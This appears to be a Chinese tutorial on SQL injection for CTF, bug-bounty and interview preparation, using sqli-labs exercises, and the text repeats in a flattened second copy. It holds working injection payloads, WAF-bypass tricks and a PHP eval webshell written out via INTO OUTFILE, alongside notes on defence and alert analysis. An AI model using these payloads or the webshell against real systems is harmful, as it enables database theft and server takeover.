SQL注入原理剖析以及靶场+实战(CTF与SRC进阶版)
字数 4488 2025-10-26 18:21:34

SQL注入深度剖析与实战指南(CTF/SRC进阶版)

一、SQL注入原理

核心概念:SQL注入是一种发生在应用程序与数据库层之间的安全漏洞。
根本原因:当Web应用程序向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,攻击者就可以构造特殊的SQL语句(即“Payload”),并直接输入数据库引擎执行。
本质:服务器未对用户的输入做充分校验,导致用户可控的输入被嵌入到SQL语句中并被服务端执行。
危害:可能导致应用程序信息泄露、数据被篡改、甚至被攻击者写入Webshell,获取服务器控制权。

二、SQL注入分类

文章主要介绍了以下几种SQL注入类型:

  1. 联合查询注入 (Union Query Injection)
  2. 报错注入 (Error-Based Injection)
  3. 布尔盲注 (Boolean-Based Blind Injection)
  4. 时间盲注 (Time-Based Blind Injection)
  5. 宽字节注入 (Wide-Character Injection)
  6. 堆叠注入 (Stacked Queries Injection)
  7. HTTP头部注入 (HTTP Header Injection)

三、各类注入技术深度剖析

1. 联合查询注入

原理:利用 UNIONUNION ALL 关键字,将恶意查询的结果合并到原始查询的结果集中,从而在页面上回显数据库信息。

  • UNION:合并结果集并去除重复记录。
  • UNION ALL:合并结果集但不去除重复记录。

利用条件

  1. 页面存在SQL注入漏洞。
  2. 页面有回显位,即查询结果会显示在页面上的特定位置。

利用步骤(以sqli-labs Less-1为例)

  1. 判断注入点与闭合方式?id=1' 产生报错,确定为字符型,单引号闭合。
  2. 判断字段数:使用 ORDER BY 子句。
    ?id=1' ORDER BY 3 --+
    
    ORDER BY 4 报错,ORDER BY 3 正常时,说明当前查询结果为3个字段。
  3. 寻找回显位:使用 UNION SELECT,并使原查询不返回结果(如 id=-1),让联合查询的结果显示出来。
    ?id=-1' UNION SELECT 1,2,3 --+
    
    此时页面显示数字 23,说明第2和第3个字段是回显位。
  4. 获取数据:将回显位替换为想要查询的信息。
    ?id=-1' UNION SELECT 1, database(), version() --+
    
    即可在页面上显示当前数据库名和版本。

2. 报错注入

原理:利用数据库函数的某些特性,通过故意触发数据库错误,并使错误信息中包含我们想查询的数据。

常见报错函数

  • updatexml()

    • 功能:更新XML文档。
    • 报错原理:当第二个参数(XPath路径)格式错误时,会报错,并将错误路径的内容返回。
    • Payload
      AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)
      
      错误信息会显示 ~database_name~
  • extractvalue()

    • 功能:从XML文档中提取值。
    • 报错原理:与 updatexml 类似,XPath路径格式错误时报错。
    • Payload
      AND extractvalue(1, concat(0x7e, (SELECT version()), 0x7e))
      
  • floor()

    • 报错原理:利用 count()floor()rand()group by 在特定条件下产生的重复键错误。
    • Payload
      AND (SELECT 1 FROM (SELECT count(*), concat((SELECT database()), 0x3a, floor(rand(0)*2)) x FROM information_schema.tables GROUP BY x) a)
      
  • exp()

    • 功能:计算e的x次方。
    • 报错原理:传入一个超大值(如 ~0,即按位取反后的0,是一个极大数)导致计算溢出错误。
    • Payload
      AND exp(~(SELECT * FROM (SELECT database())a))
      

利用场景:在页面没有正常回显位,但会显示数据库报错信息时使用。

3. 时间盲注

原理:当页面不会返回错误信息,无论输入什么,都只回显一种界面(如“页面存在”或“页面不存在”)时,可以根据页面返回的时间延迟来判断注入的SQL语句是否执行成功。

常用延迟函数

  • sleep(n):使数据库暂停 n 秒。
    AND IF(1=1, sleep(5), 0)
    
  • benchmark(count, expr):重复执行表达式 exprcount 次,通过大量计算制造延迟。
    AND IF(1=1, benchmark(10000000, sha1('test')), 0)
    

利用步骤(以sqli-labs Less-9为例)

  1. 判断注入点?id=1' AND sleep(5)--+,页面响应明显延迟,说明存在时间盲注,且为单引号闭合。
  2. 猜解数据库名长度
    ?id=1' AND IF(length(database())=8, sleep(5), 1) --+
    
    如果延迟5秒,则说明数据库名长度为8。
  3. 逐字符猜解数据库名:使用 substr()ascii() 函数。
    ?id=1' AND IF(ascii(substr(database(),1,1))=115, sleep(5), 0) --+
    
    判断数据库名的第一个字符的ASCII码是否为115(即字母 's')。通过二分法可快速猜出所有字符。

后续猜解表名、列名、数据的逻辑类似,只需修改SELECT子查询即可。

4. 布尔盲注

原理:页面根据查询条件返回两种状态(如“You are in...”或空白页面)。通过构造逻辑判断(True/False),根据页面返回的不同状态来推断数据信息。

利用步骤(以sqli-labs Less-8为例)

  1. 判断注入点?id=1' 页面无内容,?id=1' AND 1=1--+ 页面正常,?id=1' AND 1=2--+ 页面无内容,说明是布尔盲注。
  2. 猜解数据:使用逻辑判断结合字符串函数。
    • 猜长度:
      ?id=1' AND length(database())=8 --+
      
    • 猜内容(使用 left()substr() + ascii()):
      ?id=1' AND left(database(), 1)='s' --+
      
      ?id=1' AND ascii(substr(database(),1,1))>100 --+
      

5. 宽字节注入

原理:利用字符编码转换(如PHP默认UTF-8,数据库为GBK)的特性,绕过 addslashes()magic_quotes_gpc 等转义函数。

  • addslashes() 会将单引号 ' 转义为 \'%5c%27)。
  • 在GBK编码中,%df%5c 是一个整体,代表汉字“運”。如果我们在单引号前加上 %df,转义后变成 %df%5c%27,数据库会认为 %df%5c 是一个汉字,从而使单引号 %27 成功逃逸。

利用Payload

?id=1%df' AND 1=1 --+

这样,注入点就成功闭合,可以执行后续的联合查询或报错注入。

6. 堆叠注入

原理:利用 mysqli_multi_query() 等支持执行多条SQL语句的函数,通过分号 ; 分隔,一次性执行多条SQL语句。
限制:非常依赖后端数据库API是否支持多语句执行。常见的 mysqli_query() 通常只执行一条语句。

利用示例(sqli-labs Less-38)

?id=1'; INSERT INTO users(id, username, password) VALUES ('38','less38','hello') --+

执行后,即可在数据库中插入一条新记录。

7. HTTP头部注入

原理:应用程序会获取并处理客户端HTTP Header中的信息(如 User-Agent, Cookie, Referer, X-Forwarded-For 等),如果这些信息未经严格过滤就直接拼接到SQL语句中,就会产生注入漏洞。

常见类型与利用

  • Cookie注入 (sqli-labs Less-20)
    登录后,修改Cookie值为 Dumb' AND updatexml(1,concat(0x5e,database(),0x5e),1)#
  • User-Agent注入 (sqli-labs Less-18)
    修改请求头中的User-Agent为 test' AND updatexml(1,concat('~',database(),'~'),1) AND '1'='1。注意最后的 AND '1'='1' 用于闭合原SQL语句中的引号。
  • Referer注入 (sqli-labs Less-19)
    修改请求头中的Referer为 test' AND updatexml(1,concat('~',database(),'~'),1) AND '1'='1

四、护网/面试相关要点

1. SQL注入防御措施

  • 预编译(参数化查询):最有效的方法。将SQL语句与参数分离,用户输入永远被视为参数而非SQL代码。
  • 输入过滤与验证
    • 黑名单:对特殊字符(如单引号、括号、斜杠)进行转义或过滤。
    • 白名单:对输入内容进行严格的正则表达式匹配(如年龄字段只允许数字)。
  • 最小权限原则:数据库操作账户应遵循最小权限原则,避免使用root等高权限账户。
  • 规范编码:统一使用UTF-8等安全编码,避免宽字节注入。

2. 宽字节注入原理

由于PHP文件编码为UTF-8,而数据库连接使用GBK编码。当PHP将请求发送到MySQL时,经过一次GBK编码。攻击者提交 %df',经 addslashes 转义为 %df\'%df%5c%27)。在GBK编码下,%df%5c 被当作一个汉字解析,导致单引号 %27 逃逸。

3. SQL注入写入Webshell的条件与方法

条件

  1. 已知网站的绝对路径。
  2. 数据库用户具有 FILE 权限。
  3. MySQL配置 secure_file_priv 为空或指向可写目录。

方法

UNION SELECT 1, "<?php @eval($_POST['cmd']);?>", 3 INTO OUTFILE 'C:/www/shell.php'

或利用字段终止符:

UNION SELECT 1, "<?php @eval($_POST['cmd']);?>", 3 INTO OUTFILE 'C:/www/shell.php' LINES TERMINATED BY ''
  • OUTFILE 可以写入多行数据。
  • DUMPFILE 只能写入一行数据。

4. SQLMap中Risk和Level的区别

  • Risk (风险等级):数值越高(1-3),测试的Payload数量越多,包含更高风险的语句(如 INSERT, UPDATE)。
  • Level (探测等级):数值越高(1-5),测试的范围越广,不仅测试GET/POST参数,还会测试Cookie、Host、Referer等HTTP头部。

5. SQL注入绕过WAF的常见思路

  • 编码绕过:使用十六进制、URL编码、Unicode编码等。
  • 大小写变换UnIoN SeLeCt
  • 字符串分割/拼接CONCAT('sel','ect')
  • 注释符混淆UN/**/ION SEL/**/ECT
  • 使用等价函数/语句:用 like 代替 =,用 mid() 代替 substring()
  • 盲注绕过:当联合查询和报错注入被拦截时,优先使用时间盲注或布尔盲注。
  • 协议层绕过:修改HTTP请求方法、使用畸形请求包等。

6. --os-shell 的使用条件

SQLMap的 --os-shell 功能需要满足以下条件:

  1. 数据库用户为DBA(数据库管理员)权限。
  2. 数据库用户具有文件读写权限。
  3. 已知网站的绝对路径。
  4. Web应用程序语言(如PHP)支持执行系统命令。

7. 分析SQL注入告警是否成功

  1. 检查状态码:排除302(重定向)、404(未找到)、502(坏网关)等非200状态码。
  2. 分析请求包:判断请求参数中的SQL语句是否为恶意的注入Payload。
  3. 分析响应包:判断响应体内是否包含数据库的敏感信息(如数据库名、表结构、数据内容)或系统报错信息。

这份教学文档系统地梳理了SQL注入的核心原理、各种攻击技术的手动利用步骤、以及相关的实战和面试要点。掌握这些内容,对于在CTF比赛、SRC漏洞挖掘和护网行动中应对SQL注入类漏洞至关重要。

SQL注入深度剖析与实战指南(CTF/SRC进阶版) 一、SQL注入原理 核心概念 :SQL注入是一种发生在应用程序与数据库层之间的安全漏洞。 根本原因 :当Web应用程序向后台数据库传递SQL语句进行数据库操作时,如果 对用户输入的参数没有经过严格的过滤处理 ,攻击者就可以构造特殊的SQL语句(即“Payload”),并直接输入数据库引擎执行。 本质 :服务器未对用户的输入做充分校验,导致用户可控的输入被嵌入到SQL语句中并被服务端执行。 危害 :可能导致应用程序信息泄露、数据被篡改、甚至被攻击者写入Webshell,获取服务器控制权。 二、SQL注入分类 文章主要介绍了以下几种SQL注入类型: 联合查询注入 (Union Query Injection) 报错注入 (Error-Based Injection) 布尔盲注 (Boolean-Based Blind Injection) 时间盲注 (Time-Based Blind Injection) 宽字节注入 (Wide-Character Injection) 堆叠注入 (Stacked Queries Injection) HTTP头部注入 (HTTP Header Injection) 三、各类注入技术深度剖析 1. 联合查询注入 原理 :利用 UNION 或 UNION ALL 关键字,将恶意查询的结果合并到原始查询的结果集中,从而在页面上回显数据库信息。 UNION :合并结果集并去除重复记录。 UNION ALL :合并结果集但不去除重复记录。 利用条件 : 页面存在SQL注入漏洞。 页面有 回显位 ,即查询结果会显示在页面上的特定位置。 利用步骤(以sqli-labs Less-1为例) : 判断注入点与闭合方式 : ?id=1' 产生报错,确定为字符型,单引号闭合。 判断字段数 :使用 ORDER BY 子句。 当 ORDER BY 4 报错, ORDER BY 3 正常时,说明当前查询结果为3个字段。 寻找回显位 :使用 UNION SELECT ,并使原查询不返回结果(如 id=-1 ),让联合查询的结果显示出来。 此时页面显示数字 2 和 3 ,说明第2和第3个字段是回显位。 获取数据 :将回显位替换为想要查询的信息。 即可在页面上显示当前数据库名和版本。 2. 报错注入 原理 :利用数据库函数的某些特性,通过故意触发数据库错误,并使错误信息中包含我们想查询的数据。 常见报错函数 : updatexml() 功能 :更新XML文档。 报错原理 :当第二个参数(XPath路径)格式错误时,会报错,并将错误路径的内容返回。 Payload : 错误信息会显示 ~database_name~ 。 extractvalue() 功能 :从XML文档中提取值。 报错原理 :与 updatexml 类似,XPath路径格式错误时报错。 Payload : floor() 报错原理 :利用 count() 、 floor() 、 rand() 和 group by 在特定条件下产生的重复键错误。 Payload : exp() 功能 :计算e的x次方。 报错原理 :传入一个超大值(如 ~0 ,即按位取反后的0,是一个极大数)导致计算溢出错误。 Payload : 利用场景 :在页面没有正常回显位,但会显示数据库报错信息时使用。 3. 时间盲注 原理 :当页面不会返回错误信息,无论输入什么,都只回显一种界面(如“页面存在”或“页面不存在”)时,可以根据页面返回的 时间延迟 来判断注入的SQL语句是否执行成功。 常用延迟函数 : sleep(n) :使数据库暂停 n 秒。 benchmark(count, expr) :重复执行表达式 expr 共 count 次,通过大量计算制造延迟。 利用步骤(以sqli-labs Less-9为例) : 判断注入点 : ?id=1' AND sleep(5)--+ ,页面响应明显延迟,说明存在时间盲注,且为单引号闭合。 猜解数据库名长度 : 如果延迟5秒,则说明数据库名长度为8。 逐字符猜解数据库名 :使用 substr() 和 ascii() 函数。 判断数据库名的第一个字符的ASCII码是否为115(即字母 's')。通过二分法可快速猜出所有字符。 后续猜解表名、列名、数据的逻辑类似,只需修改SELECT子查询即可。 4. 布尔盲注 原理 :页面根据查询条件返回两种状态(如“You are in...”或空白页面)。通过构造逻辑判断(True/False),根据页面返回的 不同状态 来推断数据信息。 利用步骤(以sqli-labs Less-8为例) : 判断注入点 : ?id=1' 页面无内容, ?id=1' AND 1=1--+ 页面正常, ?id=1' AND 1=2--+ 页面无内容,说明是布尔盲注。 猜解数据 :使用逻辑判断结合字符串函数。 猜长度: 猜内容(使用 left() 或 substr() + ascii() ): 或 5. 宽字节注入 原理 :利用字符编码转换(如PHP默认UTF-8,数据库为GBK)的特性,绕过 addslashes() 或 magic_quotes_gpc 等转义函数。 addslashes() 会将单引号 ' 转义为 \' ( %5c%27 )。 在GBK编码中, %df%5c 是一个整体,代表汉字“運”。如果我们在单引号前加上 %df ,转义后变成 %df%5c%27 ,数据库会认为 %df%5c 是一个汉字,从而使单引号 %27 成功逃逸。 利用Payload : 这样,注入点就成功闭合,可以执行后续的联合查询或报错注入。 6. 堆叠注入 原理 :利用 mysqli_multi_query() 等支持执行多条SQL语句的函数,通过分号 ; 分隔,一次性执行多条SQL语句。 限制 :非常依赖后端数据库API是否支持多语句执行。常见的 mysqli_query() 通常只执行一条语句。 利用示例(sqli-labs Less-38) : 执行后,即可在数据库中插入一条新记录。 7. HTTP头部注入 原理 :应用程序会获取并处理客户端HTTP Header中的信息(如 User-Agent , Cookie , Referer , X-Forwarded-For 等),如果这些信息未经严格过滤就直接拼接到SQL语句中,就会产生注入漏洞。 常见类型与利用 : Cookie注入 (sqli-labs Less-20) : 登录后,修改Cookie值为 Dumb' AND updatexml(1,concat(0x5e,database(),0x5e),1)# 。 User-Agent注入 (sqli-labs Less-18) : 修改请求头中的User-Agent为 test' AND updatexml(1,concat('~',database(),'~'),1) AND '1'='1 。注意最后的 AND '1'='1' 用于闭合原SQL语句中的引号。 Referer注入 (sqli-labs Less-19) : 修改请求头中的Referer为 test' AND updatexml(1,concat('~',database(),'~'),1) AND '1'='1 。 四、护网/面试相关要点 1. SQL注入防御措施 预编译(参数化查询) :最有效的方法。将SQL语句与参数分离,用户输入永远被视为参数而非SQL代码。 输入过滤与验证 : 黑名单 :对特殊字符(如单引号、括号、斜杠)进行转义或过滤。 白名单 :对输入内容进行严格的正则表达式匹配(如年龄字段只允许数字)。 最小权限原则 :数据库操作账户应遵循最小权限原则,避免使用root等高权限账户。 规范编码 :统一使用UTF-8等安全编码,避免宽字节注入。 2. 宽字节注入原理 由于PHP文件编码为UTF-8,而数据库连接使用GBK编码。当PHP将请求发送到MySQL时,经过一次GBK编码。攻击者提交 %df' ,经 addslashes 转义为 %df\' ( %df%5c%27 )。在GBK编码下, %df%5c 被当作一个汉字解析,导致单引号 %27 逃逸。 3. SQL注入写入Webshell的条件与方法 条件 : 已知网站的绝对路径。 数据库用户具有 FILE 权限。 MySQL配置 secure_file_priv 为空或指向可写目录。 方法 : 或利用字段终止符: OUTFILE 可以写入多行数据。 DUMPFILE 只能写入一行数据。 4. SQLMap中Risk和Level的区别 Risk (风险等级) :数值越高(1-3),测试的Payload 数量越多 ,包含更高风险的语句(如 INSERT , UPDATE )。 Level (探测等级) :数值越高(1-5),测试的 范围越广 ,不仅测试GET/POST参数,还会测试Cookie、Host、Referer等HTTP头部。 5. SQL注入绕过WAF的常见思路 编码绕过 :使用十六进制、URL编码、Unicode编码等。 大小写变换 : UnIoN SeLeCt 。 字符串分割/拼接 : CONCAT('sel','ect') 。 注释符混淆 : UN/**/ION SEL/**/ECT 。 使用等价函数/语句 :用 like 代替 = ,用 mid() 代替 substring() 。 盲注绕过 :当联合查询和报错注入被拦截时,优先使用时间盲注或布尔盲注。 协议层绕过 :修改HTTP请求方法、使用畸形请求包等。 6. --os-shell 的使用条件 SQLMap的 --os-shell 功能需要满足以下条件: 数据库用户为DBA(数据库管理员)权限。 数据库用户具有文件读写权限。 已知网站的绝对路径。 Web应用程序语言(如PHP)支持执行系统命令。 7. 分析SQL注入告警是否成功 检查状态码 :排除302(重定向)、404(未找到)、502(坏网关)等非200状态码。 分析请求包 :判断请求参数中的SQL语句是否为恶意的注入Payload。 分析响应包 :判断响应体内是否包含数据库的敏感信息(如数据库名、表结构、数据内容)或系统报错信息。 这份教学文档系统地梳理了SQL注入的核心原理、各种攻击技术的手动利用步骤、以及相关的实战和面试要点。掌握这些内容,对于在CTF比赛、SRC漏洞挖掘和护网行动中应对SQL注入类漏洞至关重要。